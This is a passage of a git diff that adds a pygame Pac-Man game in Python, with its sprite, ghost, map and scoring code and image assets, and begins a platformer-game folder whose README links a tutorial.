b/gui-programming/pacman-game/assets/ghosts/orange/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/orange/up.png b/gui-programming/pacman-game/assets/ghosts/orange/up.png new file mode 100644 index 00000000..1d5cf759 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/up.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/down.png b/gui-programming/pacman-game/assets/ghosts/pink/down.png new file mode 100644 index 00000000..f64ce7cb Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/left.png b/gui-programming/pacman-game/assets/ghosts/pink/left.png new file mode 100644 index 00000000..3310b61f Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/right.png b/gui-programming/pacman-game/assets/ghosts/pink/right.png new file mode 100644 index 00000000..c3ffdf68 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/up.png b/gui-programming/pacman-game/assets/ghosts/pink/up.png new file mode 100644 index 00000000..62c5cf92 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/up.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/down.png b/gui-programming/pacman-game/assets/ghosts/red/down.png new file mode 100644 index 00000000..cdc1127d Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/left.png b/gui-programming/pacman-game/assets/ghosts/red/left.png new file mode 100644 index 00000000..a8c042a8 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/right.png b/gui-programming/pacman-game/assets/ghosts/red/right.png new file mode 100644 index 00000000..a68cc391 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/up.png b/gui-programming/pacman-game/assets/ghosts/red/up.png new file mode 100644 index 00000000..295ad02b Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/up.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/down.png b/gui-programming/pacman-game/assets/ghosts/skyblue/down.png new file mode 100644 index 00000000..a8ea55a8 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/left.png b/gui-programming/pacman-game/assets/ghosts/skyblue/left.png new file mode 100644 index 00000000..d7abf43f Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/right.png b/gui-programming/pacman-game/assets/ghosts/skyblue/right.png new file mode 100644 index 00000000..8622bafc Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/up.png b/gui-programming/pacman-game/assets/ghosts/skyblue/up.png new file mode 100644 index 00000000..d23fb66f Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/up.png differ diff --git a/gui-programming/pacman-game/assets/life/life.png b/gui-programming/pacman-game/assets/life/life.png new file mode 100644 index 00000000..da08d810 Binary files /dev/null and b/gui-programming/pacman-game/assets/life/life.png differ diff --git a/gui-programming/pacman-game/assets/pac/down/0.png b/gui-programming/pacman-game/assets/pac/down/0.png new file mode 100644 index 00000000..2ab42a16 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/down/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/down/1.png b/gui-programming/pacman-game/assets/pac/down/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/down/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/idle/0.png b/gui-programming/pacman-game/assets/pac/idle/0.png new file mode 100644 index 00000000..e330c06d Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/idle/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/left/0.png b/gui-programming/pacman-game/assets/pac/left/0.png new file mode 100644 index 00000000..3004ca18 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/left/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/left/1.png b/gui-programming/pacman-game/assets/pac/left/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/left/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/power_up/0.png b/gui-programming/pacman-game/assets/pac/power_up/0.png new file mode 100644 index 00000000..e48d80b0 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/power_up/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/power_up/1.png b/gui-programming/pacman-game/assets/pac/power_up/1.png new file mode 100644 index 00000000..2880250a Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/power_up/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/right/0.png b/gui-programming/pacman-game/assets/pac/right/0.png new file mode 100644 index 00000000..e330c06d Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/right/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/right/1.png b/gui-programming/pacman-game/assets/pac/right/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/right/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/up/0.png b/gui-programming/pacman-game/assets/pac/up/0.png new file mode 100644 index 00000000..f960506b Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/up/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/up/1.png b/gui-programming/pacman-game/assets/pac/up/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/up/1.png differ diff --git a/gui-programming/pacman-game/berry.py b/gui-programming/pacman-game/berry.py new file mode 100644 index 00000000..75ca0441 --- /dev/null +++ b/gui-programming/pacman-game/berry.py @@ -0,0 +1,20 @@ +import pygame + +from settings import CHAR_SIZE, PLAYER_SPEED + +class Berry(pygame.sprite.Sprite): + def __init__(self, row, col, size, is_power_up = False): + super().__init__() + self.power_up = is_power_up + self.size = size + self.color = pygame.Color("violetred") + self.thickness = size + self.abs_x = (row * CHAR_SIZE) + (CHAR_SIZE // 2) + self.abs_y = (col * CHAR_SIZE) + (CHAR_SIZE // 2) + + # temporary rect for colliderect-checking + self.rect = pygame.Rect(self.abs_x,self.abs_y, self.size * 2, self.size * 2) + + def update(self, screen): + self.rect = pygame.draw.circle(screen, self.color, (self.abs_x, self.abs_y), self.size, self.thickness) + diff --git a/gui-programming/pacman-game/cell.py b/gui-programming/pacman-game/cell.py new file mode 100644 index 00000000..dc17bd93 --- /dev/null +++ b/gui-programming/pacman-game/cell.py @@ -0,0 +1,17 @@ +import pygame + +class Cell(pygame.sprite.Sprite): + def __init__(self, row, col, length, width): + super().__init__() + self.width = length + self.height = width + self.id = (row, col) + self.abs_x = row * self.width + self.abs_y = col * self.height + + self.rect = pygame.Rect(self.abs_x,self.abs_y,self.width,self.height) + + self.occupying_piece = None + + def update(self, screen): + pygame.draw.rect(screen, pygame.Color("blue2"), self.rect) \ No newline at end of file diff --git a/gui-programming/pacman-game/display.py b/gui-programming/pacman-game/display.py new file mode 100644 index 00000000..83c943c8 --- /dev/null +++ b/gui-programming/pacman-game/display.py @@ -0,0 +1,40 @@ +import pygame + +from settings import WIDTH, HEIGHT, CHAR_SIZE + +pygame.font.init() + +class Display: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont("ubuntumono", CHAR_SIZE) + self.game_over_font = pygame.font.SysFont("dejavusansmono", 48) + self.text_color = pygame.Color("crimson") + + def show_life(self, life): + img_path = "assets/life/life.png" + life_image = pygame.image.load(img_path) + life_image = pygame.transform.scale(life_image, (CHAR_SIZE, CHAR_SIZE)) + life_x = CHAR_SIZE // 2 + + if life != 0: + for life in range(life): + self.screen.blit(life_image, (life_x, HEIGHT + (CHAR_SIZE // 2))) + life_x += CHAR_SIZE + + def show_level(self, level): + level_x = WIDTH // 3 + level = self.font.render(f'Level {level}', True, self.text_color) + self.screen.blit(level, (level_x, (HEIGHT + (CHAR_SIZE // 2)))) + + def show_score(self, score): + score_x = WIDTH // 3 + score = self.font.render(f'{score}', True, self.text_color) + self.screen.blit(score, (score_x * 2, (HEIGHT + (CHAR_SIZE // 2)))) + + # add game over message + def game_over(self): + message = self.game_over_font.render(f'GAME OVER!!', True, pygame.Color("chartreuse")) + instruction = self.font.render(f'Press "R" to Restart', True, pygame.Color("aqua")) + self.screen.blit(message, ((WIDTH // 4), (HEIGHT // 3))) + self.screen.blit(instruction, ((WIDTH // 4), (HEIGHT // 2))) \ No newline at end of file diff --git a/gui-programming/pacman-game/ghost.py b/gui-programming/pacman-game/ghost.py new file mode 100644 index 00000000..27d29cb7 --- /dev/null +++ b/gui-programming/pacman-game/ghost.py @@ -0,0 +1,70 @@ +import pygame +import random +import time + +from settings import WIDTH, CHAR_SIZE, GHOST_SPEED + +class Ghost(pygame.sprite.Sprite): + def __init__(self, row, col, color): + super().__init__() + self.abs_x = (row * CHAR_SIZE) + self.abs_y = (col * CHAR_SIZE) + + self.rect = pygame.Rect(self.abs_x, self.abs_y, CHAR_SIZE, CHAR_SIZE) + self.move_speed = GHOST_SPEED + self.color = pygame.Color(color) + self.move_directions = [(-1,0), (0,-1), (1,0), (0,1)] + + self.moving_dir = "up" + self.img_path = f'assets/ghosts/{color}/' + self.img_name = f'{self.moving_dir}.png' + self.image = pygame.image.load(self.img_path + self.img_name) + self.image = pygame.transform.scale(self.image, (CHAR_SIZE, CHAR_SIZE)) + self.rect = self.image.get_rect(topleft = (self.abs_x, self.abs_y)) + self.mask = pygame.mask.from_surface(self.image) + + self.directions = {'left': (-self.move_speed, 0), 'right': (self.move_speed, 0), 'up': (0, -self.move_speed), 'down': (0, self.move_speed)} + self.keys = ['left', 'right', 'up', 'down'] + self.direction = (0, 0) + + def move_to_start_pos(self): + self.rect.x = self.abs_x + self.rect.y = self.abs_y + + def is_collide(self, x, y, walls_collide_list): + tmp_rect = self.rect.move(x, y) + if tmp_rect.collidelist(walls_collide_list) == -1: + return False + return True + + def _animate(self): + self.img_name = f'{self.moving_dir}.png' + self.image = pygame.image.load(self.img_path + self.img_name) + self.image = pygame.transform.scale(self.image, (CHAR_SIZE, CHAR_SIZE)) + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + + def update(self, walls_collide_list): + # ghost movement + available_moves = [] + for key in self.keys: + if not self.is_collide(*self.directions[key], walls_collide_list): + available_moves.append(key) + + randomizing = False if len(available_moves) <= 2 and self.direction != (0,0) else True + # 60% chance of randomizing ghost move + if randomizing and random.randrange( 0,100 ) <= 60: + self.moving_dir = random.choice(available_moves) + self.direction = self.directions[self.moving_dir] + + if not self.is_collide(*self.direction, walls_collide_list): + self.rect.move_ip(self.direction) + else: + self.direction = (0,0) + + # teleporting to the other side of the map + if self.rect.right <= 0: + self.rect.x = WIDTH + elif self.rect.left >= WIDTH: + self.rect.x = 0 + + self._animate() diff --git a/gui-programming/pacman-game/main.py b/gui-programming/pacman-game/main.py new file mode 100644 index 00000000..738c989f --- /dev/null +++ b/gui-programming/pacman-game/main.py @@ -0,0 +1,32 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, NAV_HEIGHT +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + NAV_HEIGHT)) +pygame.display.set_caption("PacMan") + +class Main: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + + def main(self): + world = World(self.screen) + while True: + self.screen.fill("black") + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + world.update() + pygame.display.update() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Main(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/pacman-game/pac.py b/gui-programming/pacman-game/pac.py new file mode 100644 index 00000000..c7b7242a --- /dev/null +++ b/gui-programming/pacman-game/pac.py @@ -0,0 +1,93 @@ +import pygame + +from settings import CHAR_SIZE, PLAYER_SPEED +from animation import import_sprite + +class Pac(pygame.sprite.Sprite): + def __init__(self, row, col): + super().__init__() + + self.abs_x = (row * CHAR_SIZE) + self.abs_y = (col * CHAR_SIZE) + + # pac animation + self._import_character_assets() + self.frame_index = 0 + self.animation_speed = 0.5 + self.image = self.animations["idle"][self.frame_index] + self.rect = self.image.get_rect(topleft = (self.abs_x, self.abs_y)) + self.mask = pygame.mask.from_surface(self.image) + + self.pac_speed = PLAYER_SPEED + self.immune_time = 0 + self.immune = False + + self.directions = {'left': (-PLAYER_SPEED, 0), 'right': (PLAYER_SPEED, 0), 'up': (0, -PLAYER_SPEED), 'down': (0, PLAYER_SPEED)} + self.keys = {'left': pygame.K_LEFT, 'right': pygame.K_RIGHT, 'up': pygame.K_UP, 'down': pygame.K_DOWN} + self.direction = (0, 0) + + # pac status + self.status = "idle" + self.life = 3 + self.pac_score = 0 + + + # gets all the image needed for animating specific player action + def _import_character_assets(self): + character_path = "assets/pac/" + self.animations = { + "up": [], + "down": [], + "left": [], + "right": [], + "idle": [], + "power_up": [] + } + for animation in self.animations.keys(): + full_path = character_path + animation + self.animations[animation] = import_sprite(full_path) + + + def _is_collide(self, x, y): + tmp_rect = self.rect.move(x, y) + if tmp_rect.collidelist(self.walls_collide_list) == -1: + return False + return True + + + def move_to_start_pos(self): + self.rect.x = self.abs_x + self.rect.y = self.abs_y + + + # update with sprite/sheets + def animate(self, pressed_key, walls_collide_list): + animation = self.animations[self.status] + + # loop over frame index + self.frame_index += self.animation_speed + if self.frame_index >= len(animation): + self.frame_index = 0 + image = animation[int(self.frame_index)] + self.image = pygame.transform.scale(image, (CHAR_SIZE, CHAR_SIZE)) + + self.walls_collide_list = walls_collide_list + for key, key_value in self.keys.items(): + if pressed_key[key_value] and not self._is_collide(*self.directions[key]): + self.direction = self.directions[key] + self.status = key if not self.immune else "power_up" + break + + if not self._is_collide(*self.direction): + self.rect.move_ip(self.direction) + self.status = self.status if not self.immune else "power_up" + if self._is_collide(*self.direction): + self.status = "idle" if not self.immune else "power_up" + + + def update(self): + # Timer based from FPS count + self.immune = True if self.immune_time > 0 else False + self.immune_time -= 1 if self.immune_time > 0 else 0 + + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) \ No newline at end of file diff --git a/gui-programming/pacman-game/requirements.txt b/gui-programming/pacman-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/pacman-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/pacman-game/settings.py b/gui-programming/pacman-game/settings.py new file mode 100644 index 00000000..671a476f --- /dev/null +++ b/gui-programming/pacman-game/settings.py @@ -0,0 +1,33 @@ +MAP = [ + ['1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','B','1','1',' ','1','1','1',' ','1',' ','1','1','1',' ','1','1','B','1'], + ['1',' ',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ',' ','1'], + ['1','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1','1'], + ['1',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ','1'], + ['1',' ','1','1','1','1',' ','1','1','1','1','1',' ','1','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ','r',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1',' ','1','1','1',' ','1','1','-','1','1',' ','1','1','1',' ','1','1'], + [' ',' ',' ',' ',' ','1',' ','1','s','p','o','1',' ','1',' ',' ',' ',' ',' '], + ['1','1',' ','1',' ','1',' ','1','1','1','1','1',' ','1',' ','1',' ','1','1'], + ['1',' ',' ','1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1',' ',' ','1'], + ['1',' ','1','1','1','1',' ','1','1','1','1','1',' ','1','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1'], + ['1',' ',' ',' ','1',' ',' ',' ',' ','P',' ',' ',' ',' ','1',' ',' ',' ','1'], + ['1','B','1',' ','1',' ','1',' ','1','1','1',' ','1',' ','1',' ','1','B','1'], + ['1',' ','1',' ',' ',' ','1',' ',' ',' ',' ',' ','1',' ',' ',' ','1',' ','1'], + ['1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1'], + ['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'], + ['1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'] +] + +BOARD_RATIO = (len(MAP[0]), len(MAP)) +CHAR_SIZE = 32 + +WIDTH, HEIGHT = (BOARD_RATIO[0] * CHAR_SIZE, BOARD_RATIO[1] * CHAR_SIZE) +NAV_HEIGHT = 64 + +PLAYER_SPEED = CHAR_SIZE // 4 + +GHOST_SPEED = 4 \ No newline at end of file diff --git a/gui-programming/pacman-game/world.py b/gui-programming/pacman-game/world.py new file mode 100644 index 00000000..2fbe33e4 --- /dev/null +++ b/gui-programming/pacman-game/world.py @@ -0,0 +1,169 @@ +import pygame +import time + +from settings import HEIGHT, WIDTH, NAV_HEIGHT, CHAR_SIZE, MAP, PLAYER_SPEED +from pac import Pac +from cell import Cell +from berry import Berry +from ghost import Ghost +from display import Display + +class World: + def __init__(self, screen): + self.screen = screen + + self.player = pygame.sprite.GroupSingle() + self.ghosts = pygame.sprite.Group() + self.walls = pygame.sprite.Group() + self.berries = pygame.sprite.Group() + + self.display = Display(self.screen) + + self.game_over = False + self.reset_pos = False + self.player_score = 0 + self.game_level = 1 + + self._generate_world() + + + # create and add player to the screen + def _generate_world(self): + # renders obstacle from the MAP table + for y_index, col in enumerate(MAP): + for x_index, char in enumerate(col): + if char == "1": # for walls + self.walls.add(Cell(x_index, y_index, CHAR_SIZE, CHAR_SIZE)) + elif char == " ": # for paths to be filled with berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 4)) + elif char == "B": # for big berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 2, is_power_up=True)) + + # for Ghosts's starting position + elif char == "s": + self.ghosts.add(Ghost(x_index, y_index, "skyblue")) + elif char == "p": + self.ghosts.add(Ghost(x_index, y_index, "pink")) + elif char == "o": + self.ghosts.add(Ghost(x_index, y_index, "orange")) + elif char == "r": + self.ghosts.add(Ghost(x_index, y_index, "red")) + + elif char == "P": # for PacMan's starting position + self.player.add(Pac(x_index, y_index)) + + self.walls_collide_list = [wall.rect for wall in self.walls.sprites()] + + + def generate_new_level(self): + for y_index, col in enumerate(MAP): + for x_index, char in enumerate(col): + if char == " ": # for paths to be filled with berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 4)) + elif char == "B": # for big berries + self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 2, is_power_up=True)) + time.sleep(2) + + + def restart_level(self): + self.berries.empty() + [ghost.move_to_start_pos() for ghost in self.ghosts.sprites()] + self.game_level = 1 + self.player.sprite.pac_score = 0 + self.player.sprite.life = 3 + self.player.sprite.move_to_start_pos() + self.player.sprite.direction = (0, 0) + self.player.sprite.status = "idle" + self.generate_new_level() + + + # displays nav + def _dashboard(self): + nav = pygame.Rect(0, HEIGHT, WIDTH, NAV_HEIGHT) + pygame.draw.rect(self.screen, pygame.Color("cornsilk4"), nav) + + self.display.show_life(self.player.sprite.life) + self.display.show_level(self.game_level) + self.display.show_score(self.player.sprite.pac_score) + + + def _check_game_state(self): + # checks if game over + if self.player.sprite.life == 0: + self.game_over = True + + # generates new level + if len(self.berries) == 0 and self.player.sprite.life > 0: + self.game_level += 1 + for ghost in self.ghosts.sprites(): + ghost.move_speed += self.game_level + ghost.move_to_start_pos() + + self.player.sprite.move_to_start_pos() + self.player.sprite.direction = (0, 0) + self.player.sprite.status = "idle" + self.generate_new_level() + + + def update(self): + if not self.game_over: + # player movement + pressed_key = pygame.key.get_pressed() + self.player.sprite.animate(pressed_key, self.walls_collide_list) + + # teleporting to the other side of the map + if self.player.sprite.rect.right <= 0: + self.player.sprite.rect.x = WIDTH + elif self.player.sprite.rect.left >= WIDTH: + self.player.sprite.rect.x = 0 + + # PacMan eating-berry effect + for berry in self.berries.sprites(): + if self.player.sprite.rect.colliderect(berry.rect): + if berry.power_up: + self.player.sprite.immune_time = 150 # Timer based from FPS count + self.player.sprite.pac_score += 50 + else: + self.player.sprite.pac_score += 10 + berry.kill() + + # PacMan bumping into ghosts + for ghost in self.ghosts.sprites(): + if self.player.sprite.rect.colliderect(ghost.rect): + if not self.player.sprite.immune: + time.sleep(2) + self.player.sprite.life -= 1 + self.reset_pos = True + break + else: + ghost.move_to_start_pos() + self.player.sprite.pac_score += 100 + + self._check_game_state() + + # rendering + [wall.update(self.screen) for wall in self.walls.sprites()] + [berry.update(self.screen) for berry in self.berries.sprites()] + [ghost.update(self.walls_collide_list) for ghost in self.ghosts.sprites()] + self.ghosts.draw(self.screen) + + self.player.update() + self.player.draw(self.screen) + self.display.game_over() if self.game_over else None + + self._dashboard() + + # reset Pac and Ghosts position after PacMan get captured + if self.reset_pos and not self.game_over: + [ghost.move_to_start_pos() for ghost in self.ghosts.sprites()] + self.player.sprite.move_to_start_pos() + self.player.sprite.status = "idle" + self.player.sprite.direction = (0,0) + self.reset_pos = False + + # for restart button + if self.game_over: + pressed_key = pygame.key.get_pressed() + if pressed_key[pygame.K_r]: + self.game_over = False + self.restart_level() \ No newline at end of file diff --git a/gui-programming/platformer-game/README.Md b/gui-programming/platformer-game/README.Md new file mode 100644 index 00000000..fb346961 --- /dev/null +++ b/gui-programming/platformer-game/README.Md @@ -0,0 +1 @@ +# [How to Create a Platformer Game in Python](https://www.thepythoncode.com/article/platformer-game-with-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/platformer-game/assets/goal/gate.png b/gui-programming/platformer-game/assets/goal/gate.png new file mode 100644 index 00000000..c088b640 Binary files /dev/null and b/gui-programming/platformer-game/assets/goal/gate.png differ diff --git a/gui-programming/platformer-game/assets/life/life.png b/gui-programming/platformer-game/assets/life/life.png new file mode 100644 index 00000000..da08d810 Binary files /dev/null and b/gui-programming/platformer-game/assets/life/life.png differ diff --git a/gui-programming/platformer-game/assets/player/fall/0.png b/gui-programming/platformer-game/assets/player/fall/0.png new file mode 100644 index 00000000..1beedac8 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/fall/0.png differ diff --git a/gui-programming/platformer-game/assets/player/idle/0.png b/gui-programming/platformer-game/assets/player/idle/0.png new file mode 100644 index 00000000..e5cc59e7 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/idle/0.png differ diff --git a/gui-programming/platformer-game/assets/player/jump/0.png b/gui-programming/platformer-game/assets/player/jump/0.png new file mode 100644 index 00000000..e3cdfcb6 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/jump/0.png differ diff --git a/gui-programming/platformer-game/assets/player/jump/1.png b/gui-programming/platformer-game/assets/player/jump/1.png new file mode 100644 index 00000000..55c733eb Binary files /dev/null and b/gui-programming/platformer-game/assets/player/jump/1.png differ diff --git a/gui-programming/platformer-game/assets/player/lose/0.png b/gui-programming/platformer-game/assets/player/lose/0.png new file mode 100644 index 00000000..1beedac8 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/lose/0.png differ diff --git a/gui-programming/platformer-game/assets/player/lose/1.png b/gui-programming/platformer-game/assets/player/lose/1.png new file mode 100644 index 00000000..cdb553f9 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/lose/1.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/0.png b/gui-programming/platformer-game/assets/player/walk/0.png new file mode 100644 index 00000000..cba1de44 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/0.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/1.png b/gui-programming/platformer-game/assets/player/walk/1.png new file mode 100644 index 00000000..11fc0cd4 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/1.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/2.png b/gui-programming/platformer-game/assets/player/walk/2.png new file mode 100644 index 00000000..2cde8e82 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/2.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/3.png b/gui-programming/platformer-game/assets/player/walk/3.png new file mode 100644 index 00000000..e58fe217 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/3.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/4.png b/gui-programming/platformer-game/assets/player/walk/4.png new file mode 100644 index 00000000..edcafbe8 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/4.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/5.png b/gui-programming/platformer-game/assets/player/walk/5.png new file mode 100644 index 00000000..f5a678af Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/5.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/6.png b/gui-programming/platformer-game/assets/player/walk/6.png new file mode 100644 index 00000000..24b5faff Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/6.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/7.png b/gui-programming/platformer-game/assets/player/walk/7.png new file mode 100644 index 00000000..adc49702 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/7.png differ diff --git a/gui-programming/platformer-game/assets/player/walk/8.png b/gui-programming/platformer-game/assets/player/walk/8.png new file mode 100644 index 00000000..e5cc59e7 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/walk/8.png differ diff --git a/gui-programming/platformer-game/assets/player/win/0.png b/gui-programming/platformer-game/assets/player/win/0.png new file mode 100644 index 00000000..bb386107 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/0.png differ diff --git a/gui-programming/platformer-game/assets/player/win/1.png b/gui-programming/platformer-game/assets/player/win/1.png new file mode 100644 index 00000000..18ce2a83 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/1.png differ diff --git a/gui-programming/platformer-game/assets/player/win/2.png b/gui-programming/platformer-game/assets/player/win/2.png new file mode 100644 index 00000000..391fdaf1 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/2.png differ diff --git a/gui-programming/platformer-game/assets/player/win/3.png b/gui-programming/platformer-game/assets/player/win/3.png new file mode 100644 index 00000000..9dfae1c2 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/3.png differ diff --git a/gui-programming/platformer-game/assets/player/win/4.png b/gui-programming/platformer-game/assets/player/win/4.png new file mode 100644 index 00000000..89bbc3c6 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/4.png differ diff --git a/gui-programming/platformer-game/assets/player/win/5.png b/gui-programming/platformer-game/assets/player/win/5.png new file mode 100644 index 00000000..ad84b5b6 Binary files /dev/null and b/gui-programming/platformer-game/assets/player/win/5.png differ diff --git a/gui-programming/platformer-game/assets/terrain/bg.jpg b/gui-programming/platformer-game/assets/terrain/bg.jpg new file mode 100644 index 00000000..15bba24a Binary files /dev/null and b/gui-programming/platformer-game/assets/terrain/bg.jpg differ diff --git a/gui-programming/platformer-game/assets/terrain/stone.jpg b/gui-programming/platformer-game/assets/terrain/stone.jpg new file mode 100644 index 00000000..f127c1f9 Binary files /dev/null and b/gui-programming/platformer-game/assets/terrain/stone.jpg differ diff --git a/gui-programming/platformer-game/assets/trap/blade/0.png b/gui-programming/platformer-game/assets/trap/blade/0.png new file mode 100644 index 00000000..22411d28 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/0.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/1.png b/gui-programming/platformer-game/assets/trap/blade/1.png new file mode 100644 index 00000000..37d1f3a9 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/1.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/2.png b/gui-programming/platformer-game/assets/trap/blade/2.png new file mode 100644 index 00000000..805e6708 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/2.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/3.png b/gui-programming/platformer-game/assets/trap/blade/3.png new file mode 100644 index 00000000..64ebdf93 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/3.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/4.png b/gui-programming/platformer-game/assets/trap/blade/4.png new file mode 100644 index 00000000..9fd71209 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/4.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/5.png b/gui-programming/platformer-game/assets/trap/blade/5.png new file mode 100644 index 00000000..c3de8ed3 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/5.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/6.png b/gui-programming/platformer-game/assets/trap/blade/6.png new file mode 100644 index 00000000..e1db7b76 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/6.png differ diff --git a/gui-programming/platformer-game/assets/trap/blade/7.png b/gui-programming/platformer-game/assets/trap/blade/7.png new file mode 100644 index 00000000..76045356 Binary files /dev/null and b/gui-programming/platformer-game/assets/trap/blade/7.png differ diff --git a/gui-programming/platformer-game/game.py b/gui-programming/platformer-game/game.py new file mode 100644 index 00000000..ba7e4ab1 --- /dev/null +++ b/gui-programming/platformer-game/game.py @@ -0,0 +1,43 @@ 